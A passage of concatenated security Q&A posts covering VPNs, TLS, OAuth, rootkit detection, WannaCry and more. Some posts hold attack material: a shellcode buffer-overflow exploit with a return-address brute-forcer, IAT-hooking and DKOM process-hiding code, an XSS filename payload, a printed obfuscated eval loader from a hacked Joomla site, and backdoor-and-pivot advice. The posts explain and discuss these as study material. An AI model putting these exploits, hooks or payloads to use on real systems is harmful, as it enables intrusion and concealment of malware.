  anonymous or significantly help your privacy online, unless you take
  extreme measures, at which point using the Internet becomes a burden.
  Anonymous IP address alone provides some protection, however
  marketers, criminals and governments have stepped up their game which
  allows them to track you even if you already use a VPN. In order to
  combat this, browser level protection is also necessary to improve
  your chances of staying anonymous.

The FAQ describes "ad beacons and trackers that could follow you across the websites you visit". Then it describes "social widgets" that "report all your activity to their respective companies".

To use the phrase "report all your activity" seems an exaggeration which lowers the reader's confidence in the FAQ. For example, it seems doubtful that Facebook can determine my gmail password if I use gmail concurrently in the same browser. If the FAQ means to say that all your identifiable (meaning traceable to an individual) Facebook activity is visible to Facebook algorithms, it is not clear why that is even a privacy violation.

The statement about ad beacons and trackers is more worrying but it is not explained how "following you" is a privacy violation. What is the mechanism by which ad beacons and trackers disclose identifiable activity/information/clicks and to whom is it disclosed to, if in fact this happens. Is identity actually disclosed or is the disclosure merely that, for example, "somebody possessing a subscription to the Daily Planet newspaper website subsequently clicked an ad showing Zoom branded size 7.5 running shoes for women placed by the Gotham City Shoe Store". In other words the disclosure is information from which inferences can be made about identity without actually identifying a single individual. This might not be the most worrying example and it may not even be a feasible example.

What is the mechanism that enables traceable-to-an-individual privacy violation that can motivate use of the browser extension? You should assume that the other VPN services are applied so we are looking for the incremental value of the browser extension.

Your VPN provider (Windscribe) seems to be using this as marketing garbage, and in reality, the browser extension provides little protection when used in combination with the standard desktop client since your connection is already using the VPN.

The browser extension simply combines a VPN (that's only utilized within the browser and not system-wide) and an ad/tracker-blocker. When you enable it, it creates a VPN tunnel, and if the desktop client is already on, then it tunnels through the system VPN connection, creating a 'double-hop' connection since it's going to one VPN server, then to another VPN server, and then to its final destination on the web.

As for its tracker blocking capabilities, they're pretty much useless. The moment you sign in to any website, you give away your identity. There's also browser fingerprinting, which can track you even when you switch to 'incognito mode'. In reality, this browser extension does next to nothing to make you anonymous.

If you want a robust solution for anonymity online, use Tor Browser with Tor disabled and your VPN active. As long as you don't voluntarily give up your identity, you won't be able to be tracked when using Tor Browser


Setting a return address in a simple C exploit I have an vulnerable program exploitable through the cmdline:

./vuln $(perl -e 'print "\x90"x22'; cat shell; perl -e 'print "\x90"x22';perl -e 'print "\xf4\xdd\xff\xff\xff\x7f"')
����������������������H1��;H1�QH�/bin//shWH��@0����������������������������
$

Now I want to use a C program to be able to brute force the return address, but
I'm having an issue while trying to fill the injected buffer (going through a strcpy that is vulnerable so as to overwrite rip).

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int offset;
char shell[28] = {"\x48\x31\xc0\xb0\x3b\x48\x31\xc9\x51\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x40\x30\xf6\x0f\x05"};

int main(int argc, char *argv[])
{
    int i;
    char buffer[78];
    offset = atoi(argv[1]);
    unsigned long get_sp()
    {
        __asm__("mov %rsp, %rax");
    }

    unsigned long ret, rsp;
    rsp = get_sp();
    ret = rsp + offset;

    printf("%lx\n", ret);
    for(i=0;i<78;i+=6)
        *(buffer+i) = ret; //HERE THE PROBLEM

    memset(buffer, '\x90', 22);
    strncpy(&buffer[22], shell, strlen(shell));

    execl("./vuln","vuln", buffer, NULL);
}

Here is the output, as you may notice the addresse is cut. Can you tell me why?

./exploit 52
7fffffffddf4
����������������������H1��;H1�QH�/bin//shWH��@0�

Changed the code,
I had to create a pointer on the return address and fill it with a loop.

char *ptr = (char*)ret;

for(i=0;i<6;i++){
    *(buffer+72+i) = ptr[i];
}

In x64 you have to find the exact size you need to overflow because of the kernel space address that will raise exeption if your rip points above 0x00007fffffffff. See https://www.exploit-db.com/docs/33698.pdf


Plausible deniability with TrueCrypt If I have a TrueCrypt container with a capacity of 2 GB which I use to fill 1 GB with real, hidden data, and leave the other GB for decoy data, then if I need to reveal a password and give out the decoy password, can't the attacker simply fill the container with junk until it's full, then compare the full size with the total container size and determine that if the full size is smaller than the container size, then it must have hidden data?

No, but it will overwrite your hidden volume.

The hidden OS doesn't signal to the "primary" OS that there is any hidden volume. Instead it just looks like blank, free space available for the taking. A FAT filesystem won't use space at the end of the drive until it needs to, but if it gets to that, it will.

So you still have plausible deniability, but your encrypted volume is now completely overwritten.

Aw well.


How to secure my REST API once user authenticates with Google on mobile client? In my application, I build REST APIs so that user can interact with  my application server.
Since I do not want to maintain User/Passwords, my iOS app authenticates client using Google. This all happens on iOS device
Once client is authenticated, I would give a call to my app server to fetch user's data. The problem lies here.
Now the user is authenticated on mobile client, but on server, I have no idea if the request is coming from a valid user or not.

Question
What are some mechanisms recommended to build trust between mobile client(authenticated with OAuth) and my server APIs

If you mean "trust" in the communications sense, you're defending against man-in-the-middle attacks, and that means using HTTPS. For bonus trust, use certificate pinning in the mobile app.

If you mean "trust" in the "server wants to ensure that the client has authenticated" sense, you should read more about OAuth. The short of it is that

Your user will authenticate with Google on the mobile device, thus acquiring an authorization grant.
Your mobile app will tell your server that the user authenticated, and send along the authorization grant.
Your server will give the authorization grant to Google.
Finally, Google will tell the server whether or not the user actually authenticated.

After that, you can issue the mobile app a session token and proceed as usual.


Why I am getting Facebook login pop up for every site? My Chrome browser keeps prompting me for Facebook authentication, even though I have never logged on to Facebook from my PC.

I am using Chrome browser from my company where they have a strong proxy to avoid social networking sites. Though, I never even tried to open Facebook or any application/site related to FB. But I am constantly getting this pop up when ever I open any site. Is that a security threat?

Edit

I am sorry but I don't have any knowledge about proxy server configuration. However, I can tel you about configuration of proxy account:

Well there are two scenarios, by default Automatically detect setting is enabled which doesn't allow us to access anything other than intranet site. However, when I am connected to VPN then I am able to use another proxy which allow me to access Google & other technical sites. (I can access Gmail, SO, Blogs but not Facebook)

This is a proxy authentication pop up! And it's most likely a proxy related attack.

When you connect to the Internet through a proxy, you'll be asked to enter username and password if the proxy requires an authentication.

For example:

Note that the whole text The server http:// ... The server says is editable, and you can change it in the proxy server settings.

Steps of fake proxy attack:

Setting up a proxy with basic authentication 'no hashing on client side'
Performing DNS poisoning, so every request will be redirected to the proxy machine
ARP spoofing, so the attacker can take 'the DNS' place

After applying the attack, the following scenario happens when you open any site:

HTTP request for your site, assume it's: http://www.foo.com
The request will go to the fake proxy machine, so the proxy will reply with 407 authentication required no matter what your request is. And send back the server message with the reply.
A pop up will show, displaying the server message.
So, if you enter your info, it will go to the fake proxy, then you might be redirected to the Internet.

So, check the DNS response you're getting for any website using Wireshark. It's probably from a suspicious address, the one that achieving DNS spoofing on your network.


System Account in Windows I was thinking about SYSTEM account on windows 7 and while researching about it, i came to know that it is predefined account used by service control manager (SCM),The account is not recognised by security subsystem what does it mean? I want to Know if this account has a profile name on windows 7,8,8.1 etc why can't we login into that account,why is the account not associated with any logged in user account? if we do anything under SYSTEM account like rename a file is it logged in event manager,Does this account has a password? or username? Almost Everyone knows that we can run windows explorer under SYSTEM account and explore the SYSTEM profile but when i did it i often have difficulty like deleting ,renaming etc why? Please delete this question if i asked it wrongly

The SYSTEM account is a pseudo-account similar, but not identical, to root on Linux. The two primary differences are that (a) the SYSTEM account is a service account, and therefore does not have a user profile, and (b) the Windows permissions model still enforces ACLs such that objects can exist which SYSTEM cannot directly access (though it can still grant a privilege to a token and gain access that way).

The SYSTEM account is the highest privilege level in the Windows user model. It exists to provide ownership to objects that are created before a normal user logs on, such as the Local Security Authority Subsystem (LSASS) and the Session Management Subsystem (SMSS).

To answer your questions directly:

  The account is not recognised by security subsystem what does it mean?

It is recognised by the security subsystem, but it doesn't strictly exist as a user. It's a principle rather than a user. This concept is a little confusing, but think of it this way: the computer itself isn't a user, so if you were to give the computer itself a user account, is it still really a user?

  I want to Know if this account has a profile name on windows 7,8,8.1 etc

No, it doesn't have a profile. This goes for other service accounts too, such as LOCAL SERVICE and NETWORK SERVICE. The special case for local service accounts (including SYSTEM) is that they don't exist outside the machine they are attached to, so they are not part of the domain. You can have domain service accounts, but these exist as part of AD rather than accounts on a machine.

  why can't we login into that account,why is the account not associated with any logged in user account?

The SYSTEM account is a service account, not a user account. It has no user profile associated with it, so you can't log in with it. It's simply there to facilitate the operation of the system above the user level. For example, services associated with drivers need to run at boot time, before the user logs in, so they run as SYSTEM in order to get the process to execute on boot and have the necessary privileges to communicate with drivers (usually via IRPs).

  if we do anything under SYSTEM account like rename a file is it logged in event manager

Not any more so than any other account. You can indeed enable auditing and other logging as part of your filesystem auditing features or as part of the local (or group) security policy, but this goes for any other account too.

  Does this account has a password? or username?

The username is just SYSTEM. The question as to whether it has a password or not is complicated. The simple answer is no, but that doesn't tell the full story. It has something called evidence, which is a term used in the Windows security model to mean any form of identifying data that proves you are who you say you are. This isn't as clear-cut as just passwords or certificates, but extends to things like security tokens attached to threads or processes. As such, it doesn't have a password in the sense that you could type something in and log into it, but it does have evidence that proves it is the SYSTEM account in order to prevent a local process from impersonating it.

  Almost Everyone knows that we can run windows explorer under SYSTEM account and explore the SYSTEM profile but when i did it i often have difficulty like deleting ,renaming etc why?

The important thing to remember here is that a process can run as SYSTEM but still have handles to objects that exist under a different session. Keep in mind that sessions aren't the same as users - they're container objects that are instantiated for users when they log on. By default, services run under the null session, which you can't see. When you run Explorer as SYSTEM under your own session, its window handles exist in the current session that you're logged into, but are owned by SYSTEM. The important distinction is that you don't own that process or its handles, but you own the session under which the window exists.

As for why you had trouble with deleting and renaming, I'm not sure. I've not tried running explorer as SYSTEM in 8.1, but back in XP and Win7 it worked just fine. I'd suggest trying cmd or something similar rather than Explorer.

My advice would be to read the security model sections of the Windows Internals book by Mark Russinovich, which has really in-depth explanations about how all this works.


Resources for pentesting cloud based services/web-apps? I want to know about some of the good resources for pen-testing cloud based services or web-apps (such as AWS). I googled for it but there are really few good resources out there. For example, I liked this article by SANS: http://pen-testing.sans.org/blog/2012/07/05/pen-testing-in-the-cloud

Apart from this, does anyone have good resources for pen-testing cloud based services/web-apps? It would also be great if someone could share their experience of performing a pen-test on service/web-app hosted on the cloud.

you can try this article at:
cryptome.org/2013/07/cloud-pentest.pdf

also this video might be helpful though it is from a less technical viewpoint: https://www.youtube.com/watch?v=nXiv8VFOHcA

lastly I would recommend looking at this article as it might give you some good ideas:
www.mecs-press.org/ijcnis/ijcnis-v3-n3/IJCNIS-V3-N3-1.pdf

pen-testing cloud based services is still a fairly new subject so naturally there are limited resources :)


Validation of server identity via SSL certificate in during SSL connection handshake My IoT Device is connecting to server using TLS. on Device side implementtaion (with wolfSSL) we are just passing CA (root) cert to validate/ authenticate the server! any specific identity of server is NOT being passed apart from the server url - that means server is being authenticated just via the CA root cert!
if a server is being authenticated just via a root cert, any other body (not ligitimate server) could present its cert and will be authenticated by my IoT device!
Isn't this implementation having security gaps? shouldn't the specific server identity be validated alongwith the cert?

When thinking of certificates, I like to compare them to a passport or driver's license. When you hand your ID to a police officer they will:

Check for validity: Inspect the ID to ensure that it appears authentic; matches what they expect your country's ID to look like, has no evidence of tampering, is not expired, etc.
Check that you are the card subject: Compare the photo against the person standing in front of them.

At this point they have "verified" your ID and can trust any additional information in it (ex.: Name, Date-of-birth, address, etc).

A TLS client validates a TLS server certificate in exactly the same two steps:

Check for validity: Ensure that the certificate cryptographically chains to a trusted root, is not expired or revoked.
Check that the server is the certificate subject: Do a "proof-of-posession" check (usually a digital signature) to ensure that the server has the private key matching the public key in the certificate.

At this point they have "verified" the certificate and can trust any additional information in it (ex.: the server host name in a DNS_Name SubjectAltName extension).

You say:

any specific identity of server is NOT being passed apart from the server url

The server has two pieces of identifying information:

Cryptographic public key, which is in the certificate, which you trust to be not tampered with if the certificate chains properly to the root cert.
The server URL.

So if both of those checks pass, then you know you are talking to the server with that domain name, as certified by the Root CA.

if a server is being authenticated just via a root cert, any other body (not ligitimate server) could present its cert and will be authenticated by my IoT device!

That is only true if your Root CA is issuing certificates for a given URL to people who do not actually own that URL. If that is the case, Stop using that CA, report them to the CA/Browser Forum, and find a more trustworthy CA to do business with!

Implementation notes:
Your crypto library does not know what URL you are trying to access, and therefore does not know if the DNS Name in the cert is expected or unexpected, but the application does!  If you are using a framework or tool with an HTTP request API, it will likely do this check for you, though sometimes if you are working directly with a TLS library, you will need to write the code for the hostname check yourself.
Also, "trusting the root CA" is how PKI works. It's the only scalable model for trusting a server that you've never interacted with before. But maybe it's not for you. If your IoT clients are only interacting with a small number of servers, and you know at manufacture time what those will be, then you could look into certificate or public key pinning where you provision devices with a local database of servers and the public key that you expect them to use.


Why does WannaCry encrypt symmetric key with a new per-victim-only public key？ According to this answer, WannaCry will:

Generate AES key at victim's system to encrypt victim's files.
Generate RSA key at victim's system to encrypt AES key generated above.
Encrypt private key of the RSA key genreated above with the public key shipped with WannaCry.

My question is: Why not replace the step 2 with: Encrypt AES key generated at step 1 with the public key shipped with WannaCry.

According to FireEye, WannayCry generates a new AES key for each file that is about to encrypt on victims' systems. So if a victim has 10000 files, he will need 10000 AES keys to decrypt them. A reasonable guess is WannaCry's author doesn't want all 10000 AES keys to transfer to him, which causes a lot of space  and network resource wasted. Therefore, WannaCry generates a new RSA key pair(only one for each victim), to encrypt all 10000 AES keys on a victim's system, and then encrypt the per-victim RSA private key with the shipped RSA public key. Finally WannaCry transfers the ciphertext (encrypted per-victim RSA private key) to author's hand.


Icesword rootkit detector, How does it work? I'm curious about how I can learn more about icesword rootkit detector.

I've only used it and never studied it myself. Ive always been curious how it works.  As far as I understand it works by looking directly at different windows data structures in memory and compares its findings to what the kernel calls returns? How true is this? (my guess is I'm incorrect.....or partially correct).

Would someone be able to explain to me how/why it works?

tl;dr - compare the results of two functions that do the same thing, and look for differences.

Instead of focusing on that single rootkit scanner, I'm going to talk about generic techniques that rootkits use and how we can find them. This should give you a better overview of the challenges involved.

Rootkits work by intercepting certain system calls and modifying their parameters or results. It's difficult to explain how a rootkit finder works without explaining how hooks work.

For example, on Windows, a call to CreateToolhelp32Snapshot creates a snapshot of the current running processes, and stores it on the global heap. The Process32First and Process32Next functions then allow the application to iterate through the list of processes.

Here's a quick example:

PROCESSENTRY32 proc;
procList = CreateToolhelp32Snapshot(flags, 0);

Process32First(procList, &proc); // seek to first item in list and store it in proc

do {
    printf("Process ID: %d\n", proc.th32ProcessID);
    printf("Thread count: %d\n", proc.th32Threads);
    printf("Path: %s\n", proc.szExeFile);
    printf("-----\n");
}
while (Process32Next(procList, &proc));

Now let's imagine we want to hide a particular process from the list. There are two main ways to do this: in usermode and in kernelmode. The first (usermode) is to hook the Import Address Table (IAT) of the process we want to spoof, i.e. the process we don't want our hidden process to be seen by. There are other ways, but this is the simplest to explain.

When you compile a program, the executable contains a list of imports, which consist of the name of the DLL you want to import from, the name of the API within that DLL, and its Relative Virtual Address (RVA). This is all stored in the import directory, which you can view with a tool such as PEInfo.

When the program is executed, the executable file is loaded into memory. The kernel looks through the import list and identifies which DLLs need to be loaded into memory, and which are already in shared memory. Once that's done, it finds the addresses of the imported functions in memory (either by RVA or name) and writes those addresses over the RVA values in memory. The result is that the IAT acts like a big jump table to all the imported APIs, so the program can run instructions like call [addrOfIAT + n*4] to call the nth API in the table.

If we replace the addresses in the IAT in memory, we can make the program call our own code instead of the API. In this case, the easiest way to hide a process is to hook Process32First and Process32Next. If we parse the executable's headers, we can find the address where the IAT will be loaded, and the offset of the APIs in the IAT. Once we know that, we can hook the IAT. There's a bunch of ways to do it - directly writing over the IAT memory, inject code to do it, or inject a DLL. Doesn't really matter how you do it, and it's outside the scope of this answer. The goal is to copy the address from the IAT, then overwrite the address with that of your own code. In this case, let's imagine the following pseudo-code:

void* Process32FirstOriginal;
void* Process32NextOriginal;

const int HiddenProcessId = 1234; // ID of the process we want to hide

void InstallHook()
{
    int offsetP32First = 0x40; // offsets in the IAT
    int offsetP32Next = 0x44;

    // make a backup of the actual API addresses
    // this isn't actually how we'd access the IAT, I'm just being simplistic
    Process32FirstOriginal = IAT[offsetP32First];
    Process32NextOriginal = IAT[offsetP32Next];

    // patch the IAT with the address of our hooks
    IAT[offsetP32First] = &Process32FirstHooked;
    IAT[offsetP32Next] = &Process32NextHooked;
}

int Process32FirstHooked(void* snapshot, PROCESSENTRY32* proc)
{
    // call the original function
    int result = Process32FirstOriginal(snapshot, proc);
    // did we just fetch the process we're trying to hide?
    if (proc.th32ProcessId == HiddenProcessId)
    {
        // skip the process we're trying to hide and get the next one
        result = Process32NextHooked(snapshot, proc);
    }
    return result;
}

int Process32NextHooked(void* snapshot, PROCESSENTRY32* proc)
{
    int result = Process32NextOriginal(snapshot, proc);
    if (proc.th32ProcessId == HiddenProcessId)
    {
        result = Process32NextHooked(snapshot, proc);
    }
    return result;
}

So what are we doing here?

Implement wrapper functions for Process32First and Process32Next that skip over the process we're trying to now.
Get the addresses of the original functions from the IAT.
Overwrite the addresses in the IAT with those of our hooks.

What this means is that when the program tries to call a hooked API, it really calls our hook. Our hook then calls the original function and manipulates the results.

So, how does a rootkit detector find these hooks? There are a few ways:

Iterate through each process's IAT in memory and compare the addresses to those that should be there, according to the import table in the executable file. Downside of this is that, if the rootkit detector itself has had its IAT patched in memory, the rootkit could simply manipulate the results of the memory and file reads functions.
Use non-standard APIs to iterate through processes, read memory, etc (e.g. ntdll functions). This will work as long as a usermode rootkit doesn't patch these.
Implement a kernel-mode driver to iterate through processes and perform other checks, then compare the results to that of a user-mode scan. If stuff is missing, something is manipulating the user-mode side of things. This will successfully detect almost any user-mode rootkit.

Now comes the second type of rootkit: kernel mode. In this case the rootkit does almost exactly the same thing, except it hooks the System Service Dispatch Table (SSDT) instead of the IAT, which services user-mode to kernel-mode calls. The SSDT is basically the same as an IAT, except it contains the address of every kernel-mode API. The rootkit simply hooks the kernel APIs responsible for servicing the CreateToolhelp32Snapshot call, filtering out the process that it wants to hide. This stops normal discrepancy scanning from working, because the results the scanner sees are hooked too.

So, how do we scan for kernel-mode rootkits? The answer is: it's difficult. If the rootkit is hooking the SSDT, we can't rely on it. So, we have to resort to implementing our own versions of the kernel API to read and manipulate kernel objects. This is called Direct Kernel Object Modification (DKOM). This is tricky, since these objects are usually undocumented or only partially documented, and may change between versions of Windows. Processes in the Windows kernel are represented by EPROCESS structures, in a doubly linked list.

// get the EPROCESS struct for the current executing process
EPROCESS* eproc = PsGetCurrentProcess();
// get the LIST_ENTRY item for the EPROCESS, so we can iterate the linked list
LIST_ENTRY currentEntry = eproc->ActiveProcessLinks;
// store the first pID, so we know when we've looped the list
DWORD startPID = (DWORD) eproc->UniqueProcessId;
int count = 0;

while(1)
{
    // find the EPROCESS structure from the LIST_ENTRY object
    eproc = (EPROCESS*)((DWORD)currentEntry - OFFSET_LIST_FLINK);

    // are we at the end of the list?
    if (count > 0 && eproc->UniqueProcessId == startPID)
    {
        // we've gone through the whole list!
        KdPrint("END\n");
        break;
    }

    // print the process ID to the debugger
    KdPrint("Process ID: %d\n", eproc->UniqueProcessId);

    // go to the next entry
    currentEntry = *currentEntry.FLink;
    count++;
}

We can then compare this list of process IDs to a list produced by normal kernel-mode and user-mode APIs, to find out which processes are hidden and where the hooking has been done.

Unfortunately, malware has the same ability to do this. They can remove the EPROCESS of their hidden process from the list:

void HideProcess(EPROCESS* proc)
{
    LIST_ENTRY hideEntry = eproc->ActiveProcessLinks;

    // get the previous and next list entries
    LIST_ENTRY prevEntry = *hideEntry.BLink;
    LIST_ENTRY nextEntry = *hideEntry.Flink;
    // set their forward and backward links to skip over the hidden entry
    prevEntry.FLink = &nextEntry;
    nextEntry.BLink = &prevEntry;
    // set the hidden entry's forward and backward links to itself
    hideEntry.FLink = &hideEntry;
    hideEntry.BLink = &hideEntry;
}

This effectively removes the process from the list, making our previous DKOM approach to scanning impossible.

From here, the only approach we can do is an arms race of artifact scanning. This involves identifying kernel objects that have latent references to hidden objects, in order to identify them. Alternatively, we can scan through memory for objects that look like EPROCESS entries or other kernel objects, in order to identify unusual values. SSDT hooks can be identified in this way, by looking for the real APIs in memory (scan by signature) and comparing their real addresses to the addresses stored in the SSDT.

Hopefully this gives you a more comprehensive understanding of how rootkits work, and how we can look for them.

Further reading:

Rootkit Arsenal - Rev. Bill Blunden (where I learnt most of this from!)
NirSoft Vista Kernel Structures
Hooking on Wikipedia
Hiding SSDT hooks (PDF)
Windows Driver Kit (WDK)
When Malware Meets Rootkits - Symantec (PDF)
Rootkit DKOM at Blackhat - HBGary (PDF)


How to bypass response Location in order to obtain content XSS? In some basic steps:

POST Request containing a photo with multipart/form-data.
HTTP/1.1 302 Found respond with redirect back to formular
Redirect to initial formular.

In case 1 we are able to control the filename allowing us to use any kind of payload we want.

In case 2 we are able to see in response the XSS payload, but no execution   (let the fun begin) because of Location header.

In case 3 we see the file name which is laravael encoded response... => no XSS.

Explained:

Step 1:

POST /upload/file HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://example.com/upload
Content-Type: multipart/form-data; boundary=---------------------------172863706614177227892012498540
Content-Length: 8331
Cookie: laravel_session=not_your_problem
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------172863706614177227892012498540
Content-Disposition: form-data; name="doc_1"; filename="<!DOCTYPE html><script>alert('XSS'); .png"
Content-Type: image/png

Step 2:

HTTP/1.1 302 Found
Server: nginx/1.12.2
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: no-cache
Location: https://example.com/upload
Date: Tue, 08 May 2018 12:49:50 GMT
Set-Cookie: laravel_session=laravel_session=not_your_problem; path=/
Strict-Transport-Security: max-age=31536000
Content-Length: 535

  adding: <!DOCTYPE html><script>alert('XSS'); .png (deflated 14%)
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="refresh" content="1;url=https://example.com/upload" />

From what I know of Laravel framework and other websites, applications and so on add a content base redirect (even if there is a header one like Location) for extra redundancy like <meta http-equiv="refresh" content="1;url=something".

In what circumstances and how I might be able to bypass the Location header in order to execute my content and therefore my XSS?

If XSS only occurs if the client submits the payload, this isn't really viable unless you can trick them into doing it.

The RFC says that clients may automatically redirect upon receiving an HTTP 302 with the Location header. While a body is required, it can be effectively ignored by the client per the spec.

Therefore, I don't think you can "bypass the Location header", at least when the browser instantly follows the Location header and doesn't render the page, which seems to be the prevalent behavior.

It might be possible, if the client has any influence on the headers returned by the server, to perform an HTTP response splitting attack, where the Location header could be modified or bypassed entirely. Again, this would likely require the victim to submit the crafted request themselves, making this an unlikely avenue.


Hack: anymonous URL on my Joomla Website[Resolve] My website has been hacked again. There are many foreign URLs such as here.

I've checked the database and there is nothing strange in my database. Does anyone know what kind of hack attack is like this?

Then I have to execute all files with exit (); and I quit "on /libraries/import.legacy.php".

If I give exit () under

JLoader :: register ('JRoute', JPATH_PLATFORM. '/joomla/application/route.php');

the result is that my website is still able to walk, but with the strange link.

But if I give exit() in the above

JLoader :: register ('JRoute', JPATH_PLATFORM. '/joomla/application/route.php')

The result is that the website stops.

this my error log

Software: Joomla Platform 12.2.0 Stable [ Neil Armstrong ] 21-September-2012 00:00 GMT

#Fields: datetime   priority    category    message
2014-02-07T09:50:19+00:00   INFO    joomlafailure   Username and password do not match or you do not have an account yet.
2014-02-20T02:46:05+00:00   INFO    joomlafailure   Username and password do not match or you do not have an account yet.
2014-02-20T19:49:05+00:00   INFO    joomlafailure   Username and password do not match or you do not have an account yet.
2014-02-25T14:25:09+00:00   INFO    joomlafailure   Username and password do not match or you do not have an account yet.
2014-03-02T09:51:23+00:00   INFO    joomlafailure   Username and password do not match or you do not have an account yet.
2014-03-03T03:47:15+00:00   INFO    joomlafailure   Username and password do not match or you do not have an account yet.
2014-03-04T09:36:38+00:00   INFO    joomlafailure   Username and password do not match or you do not have an account yet.
2014-03-04T09:36:58+00:00   INFO    joomlafailure   Username and password do not match or you do not have an account yet.
2014-03-05T04:14:22+00:00   INFO    joomlafailure   Username and password do not match or you do not have an account yet.
2014-03-05T12:27:10+00:00   INFO    joomlafailure   Username and password do not match or you do not have an account yet.
2014-03-09T01:17:12+00:00   INFO    joomlafailure   Username and password do not match or you do not have an account yet.
2014-03-11T15:03:30+00:00   INFO    joomlafailure   Username and password do not match or you do not have an account yet.
2014-03-11T15:03:38+00:00   INFO    joomlafailure   Username and password do not match or you do not have an account yet.

i found this.. Resolve..

$word = "b" . "a" . "s" . "e" . "6" . "4" . "_" . "d" . "e" . "c" . "o" . "d" . "e";
$wp1 = "g" . "z" . "u" . "n" . "c" . "o" . "m" . "p" . "r" . "e" . "s" . "s";
eval/**test*/(/**test*/$wp1/**test*/(/**test*/$word('Code)));

Thank you all

JRoute is the module tasked with dealing with internal urls. The evil code is hooking there to make such urls show their spam page.

You could see what they changed by comparing the files with the official ones from Joomla. In the end, you should replace the compromised Joomla php files with the original ones.


What strategy would one utilise in order to breach an entire network, after gaining access to an embedded device on said network? I am currently researching IoT security and am trying to find out about how a single device with poor password security on a network could be utilised to gain access to the other components of said network.
Let's assume that it's an embedded device running some kind of Linux distribution.
I'm trying to write about the implications of poor password security for IoT devices, and why you should care even if it's a mundane device that controls no private data.

Lateral movement.

When you gain administrator/root access to a device with poor security you have a feet in a network, the first thing you need to do is to backdoor the device in order to get a persistent access to the device.
Then, you can easily create a SSH tunnel between your attacking box and your target, forward multiple or all ports through the tunnel. At this point you are able to work (play) with the rest of the network.

In few words, you create a pivoting point.


How could you find wildcard subdomains on websites? Other than testing different URLs separately, is there anyway to find out if a website has a wildcard sub domain?

In this answer, you can detect from DNS if they have a wildcard domain, this will save you time (and you won't have HTTP queries to the domain)

Taken from the serverfault post:

# dig +short '*.not-a-real-domain.com'
1.2.3.4


Do SSL proxies such as those from antivirus vendors hijack client processes? In an attempt to understand the topic further, the following posts were reviewed.

Why is 'avast! Web/Mail Shield Root' listed as CA for google.com?
Are the certificates from “skype click to call” and “avast! Web/Mail Shield” any better than superfish?
SSL Handshake failure when antivirus is enabled
Kaspersky Antivirus “secure connection scan” as broken as Superfish?
SSL Proxy as a man in the middle

The posts however don't touch on how the antivirus software proxies all traffic.

My understanding is that antivirus software such as those from Symantec, Kasperksy, etc install root certificates on the operating system and client e.g. web browser.

It isn't clear as how the antivirus software proxies all traffic. It suggests that the antivirus software is hijacking and/or injecting the browser process.

If yes, how does it achieve hijacking and/or injecting a browser
process? What are the risks?
If no, how does it direct all traffic from a browser? I have
assumed that it does not change DNS configurations or install proxy
configuration files.

Based on your question I assume that you understand how SSL interception works in general, i.e. that the SSL intercepting process (the antivirus in this case) essentially replaces the original end-to-end encrypted connection with an encrypted connection from proxy to server and with another connection from client to proxy - where the last one does not use the original server certificate but a certificate created by the proxy and issued by a proxy-specific CA trusted by the client.

The question remains then how the local AV can put its proxy into the path of the traffic. One way would be to explicitly configure the proxy in the browser. A more transparent way on Windows is to use the Windows Filtering Platform (WFP) which is explicitly designed for this kind of traffic interception. To cite from Porting Packet-Processing Drivers and Apps to WFP:

  Windows Filtering Platform (WFP) enables TCP/IP packet filtering, inspection, and modification, connection monitoring or authorization, IPsec rules and processing, and RPC filtering ...

In other words: no injection into the client is needed. Instead WFP defines a supported interface how application traffic can be intercepted and modified. Given that all traffic between an application and the remote communication peer will ultimately pass through the network stack of the OS WFP essentially provides supported hooks into this network stack and allows interception and modification without changing the application. This kind of hooks are also used by libraries like WinDivert which allow traffic interception and modification from user mode.

The documentation of ESET AV also confirms that they are using WFP. To cite:

  Starting with Windows Vista Service Pack 1, Windows 7 and Windows Server 2008, the new Windows Filtering Platform (WFP) architecture is used to check network communication. ...

There are also other ways to do similar things even before WFP was available, for example with NDIS filter drivers. And there are more ways, including injecting a DLL into the application. For some information see Comparison of User Mode and Kernel Mode Applications for Modifying HTTP Traffic.


Why wouldn't it be great, if HTTP/2 would only allow communication via TLS? https://en.wikipedia.org/wiki/HTTP/2

  Earlier, encryption method TLS 1.2 or greater was planned to be
  mandatory as part of the protocol. However, in lieu of consensus for
  mandatory TLS, an optional unencrypted mode exists in addition to
  required support of an encrypted mode.  Some implementations, such as
  Firefox, have stated that they will only support HTTP/2 when it is
  used over an encrypted connection.

The Question: Why wouldn't it be great, if HTTP/2 would only allow communication via TLS?

Mandatory SSL/TLS for everything has the following drawbacks:

All systems must pay the cost of the cryptography. The cost is mostly negligible for current systems, except for the really small embedded devices, that would not be happy with that (but they are happy with unprotected plain HTTP).
SSL makes some caching strategies more difficult; in particular, transparent proxies no longer work. Some people (in particular Internet Service Providers) are quite fond of transparent proxying, because it helps them save on their own bandwidth.
In a non-SSL world, many sysadmins run filters and antivirus software on their exit routers / firewalls, and have grown quite fond of that practice. Switching to a whole-SSL network would require them to review their procedures and update their skills; of course they will fight such changes to their death.
Using TLS implies using X.509 certificates, and sending some money to one of the "commercial PKI" -- or configuring and maintaining one yourself, for private applications. Doing something is necessary (you don't get security out of nothing) but some people would prefer a model closer to SSH, without dirtying their fingers with the handling of the dreadful X.509 thingies.

Therefore it is expected that there will be some resistance to mandatory TLS. On the other hand, this is completely neutral for professional spy agencies, since their targets of choice already use SSL or similar protection mechanisms, even if they are not mandatory.

Developers of Firefox and Chrome have already announced that they won't support any kind of HTTP/2 that does not run over TLS; this is a deliberate pledge to try to overcome the pockets of resistance described above.


Samba and verifying server identity Suppose that I have two Windows 10 (Professional edition) computers, one (PC) sharing a folder and second one (notebook) copying data to the shared folder automatically. I would like to prevent notebook from copying the data to unknown/fake servers accepting any passwords/credentials. Is there some security in the protocol (SMB version 3.1.1, possibly with encryption enabled) with regards to verifying endpoint identity or preventing using a fake server, when it does not know the user name and password pair?

Unfortunately, this is not possible in your situation.

When you want the client and the server both to verify each other's identity, this is called "mutual authentication".

Per this MSDN post, NTLM does not support mutual authentication. (It's the third bullet point in the NTLM SessionKey section.)

